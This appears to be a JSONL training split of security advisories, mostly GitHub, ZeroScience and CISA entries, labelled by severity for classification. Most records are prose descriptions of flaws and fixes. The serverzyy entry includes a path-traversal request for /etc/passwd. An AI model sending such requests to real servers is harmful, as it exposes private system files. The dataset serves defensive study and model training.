-{"id": "fc6f6c8d629d9ee0a5b0", "text": "Web Cache Poisoning in find-my-way\n\nThis affects the package find-my-way before 2.2.5, from 3.0.0 and before 3.0.5. It accepts the Accept-Version' header by default, and if versioned routes are not being used, this could lead to a denial of service. Accept-Version can be used as an unkeyed header in a cache poisoning attack.", "text_raw": "Web Cache Poisoning in find-my-way\n\n[Severity: MEDIUM]\n\nThis affects the package find-my-way before 2.2.5, from 3.0.0 and before 3.0.5. It accepts the Accept-Version' header by default, and if versioned routes are not being used, this could lead to a denial of service. Accept-Version can be used as an unkeyed header in a cache poisoning attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-11-09", "split": "train"}
-{"id": "faa6d6fdbe2f142e0e69", "text": "Credential Disclosure in System.DirectoryServices.Protocols\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in .NET. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nA Information Disclosure vulnerability exists in .NET where System.DirectoryServices.Protocols.LdapConnection may send credentials in plain text on Linux.\n\n### Patches\nAny .NET application that uses `System.DirectoryServices.Protocols` with a vulnerable version listed below on system based on Linux.\n\nPackage name | Vulnerable versions | Secure versions\n------------ | ---------------- | -------------------------\nSystem.DirectoryServices.Protocols | 5.0.0  | 5.0.1\n\n### Other Details\n\n- Announcement for this issue can be found at dotnet/announcements#202\n- An Issue for this can be found at https://github.com/dotnet/runtime/issues/60301\n- MSRC details for this can be found at https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-41355", "text_raw": "Credential Disclosure in System.DirectoryServices.Protocols\n\n[Severity: MEDIUM]\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in .NET. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nA Information Disclosure vulnerability exists in .NET where System.DirectoryServices.Protocols.LdapConnection may send credentials in plain text on Linux.\n\n### Patches\nAny .NET application that uses `System.DirectoryServices.Protocols` with a vulnerable version listed below on system based on Linux.\n\nPackage name | Vulnerable versions | Secure versions\n------------ | ---------------- | -------------------------\nSystem.DirectoryServices.Protocols | 5.0.0  | 5.0.1\n\n### Other Details\n\n- Announcement for this issue can be found at dotnet/announcements#202\n- An Issue for this can be found at https://github.com/dotnet/runtime/issues/60301\n- MSRC details for this can be found at https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-41355", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "950f42abbc0dff881e4c", "text": "Command Injection in meta-git\n\nAll versions of `meta-git` are vulnerable to Command Injection. The package fails to sanitize input and passes it directly to an `exec` call, which may allow attackers to execute arbitrary code in the system. The `clone` command is vulnerable through the branch name.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Command Injection in meta-git\n\n[Severity: CRITICAL]\n\nAll versions of `meta-git` are vulnerable to Command Injection. The package fails to sanitize input and passes it directly to an `exec` call, which may allow attackers to execute arbitrary code in the system. The `clone` command is vulnerable through the branch name.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "eb0e1c01973c883263dc", "text": "Out-of-bounds Read in OpenCV\n\nAn issue was discovered in OpenCV before 3.4.7 and 4.x before 4.1.1 (OpenCV-Python before 3.4.7.28 and 4.x before 4.1.1.26). There is an out of bounds read in the function cv::predictOrdered<cv::HaarEvaluator> in modules/objdetect/src/cascadedetect.hpp, which leads to denial of service.", "text_raw": "Out-of-bounds Read in OpenCV\n\n[Severity: HIGH]\n\nAn issue was discovered in OpenCV before 3.4.7 and 4.x before 4.1.1 (OpenCV-Python before 3.4.7.28 and 4.x before 4.1.1.26). There is an out of bounds read in the function cv::predictOrdered<cv::HaarEvaluator> in modules/objdetect/src/cascadedetect.hpp, which leads to denial of service.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "f2c253a43c34e3e04f9d", "text": "Scrapy HTTP authentication credentials potentially leaked to target websites\n\n### Impact\n\nIf you use [`HttpAuthMiddleware`](http://doc.scrapy.org/en/latest/topics/downloader-middleware.html#module-scrapy.downloadermiddlewares.httpauth) (i.e. the `http_user` and `http_pass` spider attributes) for HTTP authentication, all requests will expose your credentials to the request target.\n\nThis includes requests generated by Scrapy components, such as `robots.txt` requests sent by Scrapy when the `ROBOTSTXT_OBEY` setting is set to `True`, or as requests reached through redirects.\n\n### Patches\n\nUpgrade to Scrapy 2.5.1 and use the new `http_auth_domain` spider attribute to control which domains are allowed to receive the configured HTTP authentication credentials.\n\nIf you are using Scrapy 1.8 or a lower version, and upgrading to Scrapy 2.5.1 is not an option, you may upgrade to Scrapy 1.8.1 instead.\n\n### Workarounds\n\nIf you cannot upgrade, set your HTTP authentication credentials on a per-request basis, using for example the [`w3lib.http.basic_auth_header`](https://w3lib.readthedocs.io/en/latest/w3lib.html#w3lib.http.basic_auth_header) function to convert your credentials into a value that you can assign to the `Authorization` header of your request, instead of defining your credentials globally using [`HttpAuthMiddleware`](http://doc.scrapy.org/en/latest/topics/downloader-middleware.html#module-scrapy.downloadermiddlewares.httpauth).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* [Open an issue](https://github.com/scrapy/scrapy/issues)\n* [Email us](mailto:opensource@zyte.com)", "text_raw": "Scrapy HTTP authentication credentials potentially leaked to target websites \n\n[Severity: MEDIUM]\n\n### Impact\n\nIf you use [`HttpAuthMiddleware`](http://doc.scrapy.org/en/latest/topics/downloader-middleware.html#module-scrapy.downloadermiddlewares.httpauth) (i.e. the `http_user` and `http_pass` spider attributes) for HTTP authentication, all requests will expose your credentials to the request target.\n\nThis includes requests generated by Scrapy components, such as `robots.txt` requests sent by Scrapy when the `ROBOTSTXT_OBEY` setting is set to `True`, or as requests reached through redirects.\n\n### Patches\n\nUpgrade to Scrapy 2.5.1 and use the new `http_auth_domain` spider attribute to control which domains are allowed to receive the configured HTTP authentication credentials.\n\nIf you are using Scrapy 1.8 or a lower version, and upgrading to Scrapy 2.5.1 is not an option, you may upgrade to Scrapy 1.8.1 instead.\n\n### Workarounds\n\nIf you cannot upgrade, set your HTTP authentication credentials on a per-request basis, using for example the [`w3lib.http.basic_auth_header`](https://w3lib.readthedocs.io/en/latest/w3lib.html#w3lib.http.basic_auth_header) function to convert your credentials into a value that you can assign to the `Authorization` header of your request, instead of defining your credentials globally using [`HttpAuthMiddleware`](http://doc.scrapy.org/en/latest/topics/downloader-middleware.html#module-scrapy.downloadermiddlewares.httpauth).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* [Open an issue](https://github.com/scrapy/scrapy/issues)\n* [Email us](mailto:opensource@zyte.com)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-06", "split": "train"}
-{"id": "7ff37fe57f9d5c2dbc2b", "text": "XML external entity (XXE) vulnerability\n\nAn XML eXternal Entity (XXE) Injection was discovered in pmml-model before version 1.4.3. A remote attacker can exploit this vulnerability by sending a request to submit malicious External Entity references within the embedded XML metadata to the target system.", "text_raw": "XML external entity (XXE) vulnerability\n\n[Severity: HIGH]\n\nAn XML eXternal Entity (XXE) Injection was discovered in pmml-model before version 1.4.3. A remote attacker can exploit this vulnerability by sending a request to submit malicious External Entity references within the embedded XML metadata to the target system. ", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-24", "split": "train"}
-{"id": "bd93c8c3b0eb5dad19fe", "text": "NethServer 7.3.1611 (create.json) CSRF Create User And Enable SSH Access", "text_raw": "NethServer 7.3.1611 (create.json) CSRF Create User And Enable SSH Access\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-08-29", "split": "train"}
-{"id": "b38e4a38b7383ecce81c", "text": "Excessive Iteration Denial of Service in Apache PDFBox\n\nA carefully crafted PDF file can trigger an infinite loop while loading the file. This issue affects Apache PDFBox version 2.0.22 and prior 2.0.x versions.", "text_raw": "Excessive Iteration Denial of Service in Apache PDFBox\n\n[Severity: MEDIUM]\n\nA carefully crafted PDF file can trigger an infinite loop while loading the file. This issue affects Apache PDFBox version 2.0.22 and prior 2.0.x versions.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "b1e9172e962c14cfc4a7", "text": "Integer Overflow in openssl-src\n\nCalls to EVP_CipherUpdate, EVP_EncryptUpdate and EVP_DecryptUpdate may overflow the output length argument in some cases where the input length is close to the maximum permissable length for an integer on the platform. In such cases the return value from the function call will be 1 (indicating success), but the output length value will be negative. This could cause applications to behave incorrectly or crash. OpenSSL versions 1.1.1i and below are affected by this issue. Users of these versions should upgrade to OpenSSL 1.1.1j. OpenSSL versions 1.0.2x and below are affected by this issue. However OpenSSL 1.0.2 is out of support and no longer receiving public updates. Premium support customers of OpenSSL 1.0.2 should upgrade to 1.0.2y. Other users should upgrade to 1.1.1j. Fixed in OpenSSL 1.1.1j (Affected 1.1.1-1.1.1i). Fixed in OpenSSL 1.0.2y (Affected 1.0.2-1.0.2x).", "text_raw": "Integer Overflow in openssl-src\n\n[Severity: MEDIUM]\n\nCalls to EVP_CipherUpdate, EVP_EncryptUpdate and EVP_DecryptUpdate may overflow the output length argument in some cases where the input length is close to the maximum permissable length for an integer on the platform. In such cases the return value from the function call will be 1 (indicating success), but the output length value will be negative. This could cause applications to behave incorrectly or crash. OpenSSL versions 1.1.1i and below are affected by this issue. Users of these versions should upgrade to OpenSSL 1.1.1j. OpenSSL versions 1.0.2x and below are affected by this issue. However OpenSSL 1.0.2 is out of support and no longer receiving public updates. Premium support customers of OpenSSL 1.0.2 should upgrade to 1.0.2y. Other users should upgrade to 1.1.1j. Fixed in OpenSSL 1.1.1j (Affected 1.1.1-1.1.1i). Fixed in OpenSSL 1.0.2y (Affected 1.0.2-1.0.2x).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "c5bcd399d47fbc7095d1", "text": "SQL Injection in odata4j\n\nodata4j 0.7.0 allows ExecuteJPQLQueryCommand.java SQL injection. NOTE: this product is apparently discontinued.", "text_raw": "SQL Injection in odata4j\n\n[Severity: CRITICAL]\n\nodata4j 0.7.0 allows ExecuteJPQLQueryCommand.java SQL injection. NOTE: this product is apparently discontinued.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "9d58333572b2a73038dc", "text": "Server-side request forgery in CarrierWave\n\n### Impact\n[CarrierWave download feature](https://github.com/carrierwaveuploader/carrierwave#uploading-files-from-a-remote-location) has an SSRF vulnerability, allowing attacks to provide DNS entries or IP addresses that are intended for internal use and gather information about the Intranet infrastructure of the platform.\n\n### Patches\nUpgrade to [2.1.1](https://rubygems.org/gems/carrierwave/versions/2.1.1) or [1.3.2](https://rubygems.org/gems/carrierwave/versions/1.3.2).\n\n### Workarounds\nUsing proper network segmentation and applying the principle of least privilege to outbound connections from application servers can reduce the severity of SSRF vulnerabilities. Ideally the vulnerable gem should run on an isolated server without access to any internal network resources or cloud metadata access.\n\n### References\n[Server-Side Request Forgery Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [CarrierWave repo](https://github.com/carrierwaveuploader/carrierwave)\n* Email me at [mit.shibuya@gmail.com](mailto:mit.shibuya@gmail.com)", "text_raw": "Server-side request forgery in CarrierWave\n\n[Severity: MEDIUM]\n\n### Impact\n[CarrierWave download feature](https://github.com/carrierwaveuploader/carrierwave#uploading-files-from-a-remote-location) has an SSRF vulnerability, allowing attacks to provide DNS entries or IP addresses that are intended for internal use and gather information about the Intranet infrastructure of the platform.\n\n### Patches\nUpgrade to [2.1.1](https://rubygems.org/gems/carrierwave/versions/2.1.1) or [1.3.2](https://rubygems.org/gems/carrierwave/versions/1.3.2).\n\n### Workarounds\nUsing proper network segmentation and applying the principle of least privilege to outbound connections from application servers can reduce the severity of SSRF vulnerabilities. Ideally the vulnerable gem should run on an isolated server without access to any internal network resources or cloud metadata access.\n\n### References\n[Server-Side Request Forgery Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [CarrierWave repo](https://github.com/carrierwaveuploader/carrierwave)\n* Email me at [mit.shibuya@gmail.com](mailto:mit.shibuya@gmail.com)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-08", "split": "train"}
-{"id": "0e954a750970aa396087", "text": "Cross-Site Scripting in lazysizes\n\nVersions of `lazysizes` prior to 5.2.1-rc1 are vulnerable to Cross-Site Scripting.  The `video-embed` plugin fails to sanitize the following attributes: data-vimeo, `data-vimeoparams`, `data-youtube` and `data-ytparams`. This allows attackers to execute arbitrary JavaScript in a victim's browser if the attacker has control over the vulnerable attributes.\n\n## Recommendation\n\nUpgrade to version 5.2.1-rc1 or later.", "text_raw": "Cross-Site Scripting in lazysizes\n\n[Severity: HIGH]\n\nVersions of `lazysizes` prior to 5.2.1-rc1 are vulnerable to Cross-Site Scripting.  The `video-embed` plugin fails to sanitize the following attributes: data-vimeo, `data-vimeoparams`, `data-youtube` and `data-ytparams`. This allows attackers to execute arbitrary JavaScript in a victim's browser if the attacker has control over the vulnerable attributes.\n\n\n## Recommendation\n\nUpgrade to version 5.2.1-rc1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "879fd57da57540073ef4", "text": "Gunicorn contains Improper Neutralization of CRLF sequences in HTTP headers\n\ngunicorn version 19.4.5 contains a CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers vulnerability in \"process_headers\" function in \"gunicorn/http/wsgi.py\" that can result in an attacker causing the server to return arbitrary HTTP headers. This vulnerability appears to have been fixed in 19.5.0.", "text_raw": "Gunicorn contains Improper Neutralization of CRLF sequences in HTTP headers\n\n[Severity: HIGH]\n\ngunicorn version 19.4.5 contains a CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers vulnerability in \"process_headers\" function in \"gunicorn/http/wsgi.py\" that can result in an attacker causing the server to return arbitrary HTTP headers. This vulnerability appears to have been fixed in 19.5.0.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-12", "split": "train"}
-{"id": "db884808fdcf661b9424", "text": "Data races in magnetic\n\nAffected versions of this crate unconditionally implemented Sync and Send traits for MPMCConsumer and MPMCProducer types. This allows users to send types that do not implement Send trait across thread boundaries, which can cause a data race. The flaw was corrected in the 2.0.1 release by adding T: Send bound to affected Sync/Send trait implementations.", "text_raw": "Data races in magnetic\n\n[Severity: MEDIUM]\n\nAffected versions of this crate unconditionally implemented Sync and Send traits for MPMCConsumer and MPMCProducer types. This allows users to send types that do not implement Send trait across thread boundaries, which can cause a data race. The flaw was corrected in the 2.0.1 release by adding T: Send bound to affected Sync/Send trait implementations.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "83dca853b5b307fa6f2f", "text": "Baby Gekko CMS v1.1.5c Multiple Stored Cross-Site Scripting Vulnerabilities", "text_raw": "Baby Gekko CMS v1.1.5c Multiple Stored Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-05-02", "split": "train"}
-{"id": "c5fac8a0f7bac6b14ba1", "text": "GNU Barcode 0.99 Memory Leak", "text_raw": "GNU Barcode 0.99 Memory Leak\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-05-29", "split": "train"}
-{"id": "9d15b4df4ec2b753d296", "text": "Apple iOS, iPadOS, and watchOS Out-of-Bounds Write Vulnerability\n\nAffected: Apple iOS, iPadOS, and watchOS\n\nApple iOS, iPadOS, and watchOS Mail contains an out-of-bounds write vulnerability which may allow memory modification or application termination when processing a maliciously crafted mail message.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple iOS, iPadOS, and watchOS Out-of-Bounds Write Vulnerability\n\nAffected: Apple iOS, iPadOS, and watchOS\n\nApple iOS, iPadOS, and watchOS Mail contains an out-of-bounds write vulnerability which may allow memory modification or application termination when processing a maliciously crafted mail message.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "bf0670863a9567f718b5", "text": "Hotaru CMS 1.4.2 SITE_NAME Parameter Stored XSS Vulnerability", "text_raw": "Hotaru CMS 1.4.2 SITE_NAME Parameter Stored XSS Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-11-13", "split": "train"}
-{"id": "699f235acf5d9026026e", "text": "Reflected cross-site scripting in francoisjacquet/rosariosis\n\nReflected Cross-Site Scripting vulnerability in Modules.php in RosarioSIS Student Information System < 6.5.1 allows remote attackers to execute arbitrary web script via embedding javascript or HTML tags in a GET request.", "text_raw": "Reflected cross-site scripting in francoisjacquet/rosariosis\n\n[Severity: MEDIUM]\n\nReflected Cross-Site Scripting vulnerability in Modules.php in RosarioSIS Student Information System < 6.5.1 allows remote attackers to execute arbitrary web script via embedding javascript or HTML tags in a GET request.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "dc342f3c2854210fb8a1", "text": "Downloads Resources over HTTP in macaca-chromedriver\n\nAffected versions of `macaca-chromedriver` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `macaca-chromedriver`.\n\n## Recommendation\n\nUpdate to version 1.0.29 or later.", "text_raw": "Downloads Resources over HTTP in macaca-chromedriver\n\n[Severity: HIGH]\n\nAffected versions of `macaca-chromedriver` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `macaca-chromedriver`.\n\n\n## Recommendation\n\nUpdate to version 1.0.29 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "3f1155df9a25a34e5ef5", "text": "Directory Traversal in serverzyy\n\nAffected versions of `serverzyy` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in serverzyy\n\n[Severity: HIGH]\n\nAffected versions of `serverzyy` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "7aa7381fa1cf77414769", "text": "elFinder unsafe upload filtering leading to remote code execution\n\n### Impact\n\nBefore elFinder 2.1.58, the upload filter did not disallow the upload of `.phar` files. As several Linux distributions are now shipping Apache configured in a way it will process these files as PHP scripts, attackers could gain arbitrary code execution on the server hosting the PHP connector (even in minimal configuration).\n\n### Patches\n\nThe issue has been addressed with https://github.com/Studio-42/elFinder/commit/75ea92decc16a5daf7f618f85dc621d1b534b5e1, associating `.phar` files to the right MIME type. Unless explicitly allowed in the configuration, such files cannot be uploaded anymore. This patch is part of the last release of elFinder, 2.1.58.\n\n### Workarounds\n\nIf you can't update to 2.1.58, make sure your connector is not exposed without authentication.\n\n### Important tips\n\nServer-side scripts can often be created as text files. Currently, elFinder has an appropriate MIME type set for file extensions that are generally runnable on a web server.\n\nHowever, the server has various settings. In some cases, the executable file may be judged as \"text/plain\". Therefore, elFinder installers should understand the extensions that can be executed on the web server where elFinder is installed, and check if there are any missing items in the elFinder settings.\n\nThe elFinder PHP connector has an option \"additionalMimeMap\" that specifies the MIME type for each extension. See [#3295(comment)](https://github.com/Studio-42/elFinder/issues/3295#issuecomment-853042139) for more information.\n\n### References\n\n- https://snyk.io/vuln/composer:studio-42%2Felfinder\n- https://github.com/Studio-42/elFinder/issues/3295\n- Further technical details will be disclosed on https://blog.sonarsource.com/tag/security after some time.\n\n### For more information\n\nIf you have any questions or comments about this advisory, you can contact:\n- The original reporters, by sending an email to  support [at] snyk.io or vulnerability.research [at] sonarsource.com;\n- The maintainers, by opening an issue on this repository.", "text_raw": "elFinder unsafe upload filtering leading to remote code execution\n\n[Severity: HIGH]\n\n### Impact\n\nBefore elFinder 2.1.58, the upload filter did not disallow the upload of `.phar` files. As several Linux distributions are now shipping Apache configured in a way it will process these files as PHP scripts, attackers could gain arbitrary code execution on the server hosting the PHP connector (even in minimal configuration).\n\n### Patches\n\nThe issue has been addressed with https://github.com/Studio-42/elFinder/commit/75ea92decc16a5daf7f618f85dc621d1b534b5e1, associating `.phar` files to the right MIME type. Unless explicitly allowed in the configuration, such files cannot be uploaded anymore. This patch is part of the last release of elFinder, 2.1.58.\n\n### Workarounds\n\nIf you can't update to 2.1.58, make sure your connector is not exposed without authentication.\n\n### Important tips\n\nServer-side scripts can often be created as text files. Currently, elFinder has an appropriate MIME type set for file extensions that are generally runnable on a web server.\n\nHowever, the server has various settings. In some cases, the executable file may be judged as \"text/plain\". Therefore, elFinder installers should understand the extensions that can be executed on the web server where elFinder is installed, and check if there are any missing items in the elFinder settings.\n\nThe elFinder PHP connector has an option \"additionalMimeMap\" that specifies the MIME type for each extension. See [#3295(comment)](https://github.com/Studio-42/elFinder/issues/3295#issuecomment-853042139) for more information.\n\n### References\n\n- https://snyk.io/vuln/composer:studio-42%2Felfinder\n- https://github.com/Studio-42/elFinder/issues/3295\n- Further technical details will be disclosed on https://blog.sonarsource.com/tag/security after some time.\n\n### For more information\n\nIf you have any questions or comments about this advisory, you can contact:\n- The original reporters, by sending an email to  support [at] snyk.io or vulnerability.research [at] sonarsource.com;\n- The maintainers, by opening an issue on this repository.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-15", "split": "train"}
-{"id": "9820c6d3b245a632a284", "text": "Malicious Package in siganle\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in siganle\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "309e142d2484af9bf70f", "text": "Vulnerability in Azure Active Directory Authentication Library\n\nAn elevation of privilege vulnerability exists in Azure Active Directory Authentication Library On-Behalf-Of flow, in the way the library caches tokens, aka 'Azure Active Directory Authentication Library Elevation of Privilege Vulnerability'.", "text_raw": "Vulnerability in Azure Active Directory Authentication Library\n\n[Severity: HIGH]\n\nAn elevation of privilege vulnerability exists in Azure Active Directory Authentication Library On-Behalf-Of flow, in the way the library caches tokens, aka 'Azure Active Directory Authentication Library Elevation of Privilege Vulnerability'.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-08-16", "split": "train"}
-{"id": "fac44bf7999d64ba654e", "text": "Cross-Site Scripting in @risingstack/protect\n\nAll versions of `@risingstack/protect` are vulnerable to Cross-Site Scripting. The  `isXss()` XSS validator has several bypasses that may allow attackers to execute arbitrary JavaScript in a victim's browser.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package. The package is not actively maintained and will not be patched.", "text_raw": "Cross-Site Scripting in @risingstack/protect\n\n[Severity: MEDIUM]\n\nAll versions of `@risingstack/protect` are vulnerable to Cross-Site Scripting. The  `isXss()` XSS validator has several bypasses that may allow attackers to execute arbitrary JavaScript in a victim's browser.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package. The package is not actively maintained and will not be patched.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-04-25", "split": "train"}
-{"id": "cbe19d9bb4b74467c69c", "text": "In Apache Struts 2.5 to 2.5.14, the REST Plugin is using an outdated JSON-lib library which is vulnerable and allow perform a DoS attack using malicious request with specially crafted JSON payload.", "text_raw": "Moderate severity vulnerability that affects org.apache.struts:struts2-rest-plugin\n\n[Severity: MEDIUM]\n\nIn Apache Struts 2.5 to 2.5.14, the REST Plugin is using an outdated JSON-lib library which is vulnerable and allow perform a DoS attack using malicious request with specially crafted JSON payload.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "b947df4ff9bf841f5029", "text": "Active Record contains SQL Injection\n\nSQL injection vulnerability in the Active Record component in Ruby on Rails before 2.3.15, 3.0.x before 3.0.18, 3.1.x before 3.1.9, and 3.2.x before 3.2.10 allows remote attackers to execute arbitrary SQL commands via a crafted request that leverages incorrect behavior of dynamic finders in applications that can use unexpected data types in certain find_by_ method calls.", "text_raw": "Active Record contains SQL Injection\n\n[Severity: HIGH]\n\nSQL injection vulnerability in the Active Record component in Ruby on Rails before 2.3.15, 3.0.x before 3.0.18, 3.1.x before 3.1.9, and 3.2.x before 3.2.10 allows remote attackers to execute arbitrary SQL commands via a crafted request that leverages incorrect behavior of dynamic finders in applications that can use unexpected data types in certain find_by_ method calls.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "3cb7025b902d354b214f", "text": "Allocation of resources without limits or throttling in keycloak-model-infinispan\n\nA flaw was found in keycloak-model-infinispan in keycloak versions before 14.0.0 where authenticationSessions map in RootAuthenticationSessionEntity grows boundlessly which could lead to a DoS attack.", "text_raw": "Allocation of resources without limits or throttling in keycloak-model-infinispan\n\n[Severity: HIGH]\n\nA flaw was found in keycloak-model-infinispan in keycloak versions before 14.0.0 where authenticationSessions map in RootAuthenticationSessionEntity grows boundlessly which could lead to a DoS attack.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-13", "split": "train"}
-{"id": "da10c58e3ee2239c2428", "text": "Duplicate Advisory: Regular Expression Denial of Service in braces\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-cwfw-4gq5-mrqx. This link is maintained to preserve external references.\n\n## Original Description\nVersions of `braces` prior to 2.3.1 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.\n\n## Recommendation\n\nUpgrade to version 2.3.1 or higher.", "text_raw": "Duplicate Advisory: Regular Expression Denial of Service in braces\n\n[Severity: LOW]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-cwfw-4gq5-mrqx. This link is maintained to preserve external references.\n\n## Original Description\nVersions of `braces` prior to 2.3.1 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.\n\n\n## Recommendation\n\nUpgrade to version 2.3.1 or higher.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-06-06", "split": "train"}
-{"id": "fd69eebcd496ceed51bd", "text": "Netgear JGS516PE Devices Missing Function Level Access Control Vulnerability\n\nAffected: NETGEAR JGS516PE Devices\n\nNetgear JGS516PE devices contain a missing function level access control vulnerability.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Netgear JGS516PE Devices Missing Function Level Access Control Vulnerability\n\nAffected: NETGEAR JGS516PE Devices\n\nNetgear JGS516PE devices contain a missing function level access control vulnerability.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
